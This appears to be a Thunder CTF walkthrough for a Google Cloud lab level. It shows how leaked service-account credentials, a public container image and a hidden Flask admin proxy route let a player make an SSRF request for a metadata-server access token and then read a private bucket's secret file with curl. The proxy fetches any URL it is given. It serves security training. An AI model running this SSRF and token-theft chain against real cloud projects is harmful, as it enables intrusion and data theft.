python3 thunder.py destroy
Your virtual environment must be active to use thunder.py:
python3 thunder.py create thunder/a6container
Activate the service account given to you. You MUST do this, or the level will not work as intended.
gcloud auth activate-service-account --key-file=start/a6-access.json
Use the compromised service account credentials stored in a6-access.json to find the secret, which is located in a file called secret.txt in a private bucket on the project.
Test the permissions of the given credentials using the test-permissions.py script.
The credentials have the permission compute.instances.list and compute.instances.get---˝
List the instances in the project:
gcloud compute instances list
Get information on the running instance:
gcloud compute instances describe [instance=name]
The instance has the network tag "http-server," meaning it accepts traffic on port 80
tags: fingerprint: FYLDgkTKlA4= items: - http-server
Try browsing the instance's external ip
The home page of the webapp doesn't have any useful information.
However, notice from the instance metadata displayed from running "instances describe" that the webapp is running from a container on the instance:
metadata: fingerprint: oHb5ZeEOk3Y= items: - key: gce-container-declaration value: | apiVersion: v1 kind: Pod metadata: name: a6 spec: containers: - name: a6 image: docker.io/springern/thunder-ctf-a6:latest imagePullPolicy: Always ports: - containerPort: 80 hostPort: 80
The container image specified in the manifest is publicly available on Docker Hub. See if there's anything you can find on the container image.
Pull the image:
docker pull springern/thunder-ctf-a6:latest
Create a container from the image and start an interactive shell session:
docker run -it --entrypoint=/bin/bash springern/thunder-ctf-a6
The container seems to be running on flask. Look in "app.py" to see the logic of the webapp
It seems there is a secret admin page with a proxy, meaning you can make GET requests from the server.
@app.route('/admin-proxy-aaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d') def proxy(): if 'url' not in request.args: return render_template('proxy.html') else: return requests.get(request.args['url']).text
Try browsing the page /admin-proxy-aaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d
Instances get access tokens from the metadata server just like cloud functions.
This web application is vulnerable to an SSRF attack.
To get an access token from the instance, input the following url into the admin proxy:
Test the permissions of the token using the test-permissions.py script.
The token gives the permission storage.objects.get, meaning you can now get the contents of secret.txt using the GCS REST API.
To find the location of secret.txt:
gsutil ls gsutil ls [bucket-name]
curl https://www.googleapis.com/storage/v1/b/[BUCKET-NAME]/o/[OBJECT-NAME]?alt=media -H "Authorization: Bearer [ACCESS-TOKEN]"
Containers and microservice deployments are becoming increasingly common in cloud deployments. Unfortunately, one of the benefits of containers: the ability to deploy it without thinking about dependencies, is also one of its security Achilles heels as developers can often forget about dependencies that might be found to contain vulnerabilities. In a scan of popular container images, a large percentage were found to contain CVEs that required patching. When an adversary comes across a container image, they can easily scan it for potential vulerabilities and leverage them to obtain further access within the project. In this case, one can reverse-engineer the container to discover a hidden URL in the application that contains an SSRF vulnerability.
An SSRF vulnerability in which an attacker feeds a site a malicious URL to obtain access to internal data otherwise hidden, is a common problem in web applications. The problem is significant since such vulnerabilities can give an attacker an initial foothold within a cloud deployment. An SSRF vulnerability that leveraged the project metadata service was, unfortunately, one of the initial steps the attacker leveraged in the Capital One breach in 2019. Although an SSRF is one effective vector for compromising projects, many other vectors exist and cloud deployments must take pains to ensure they are protected against them.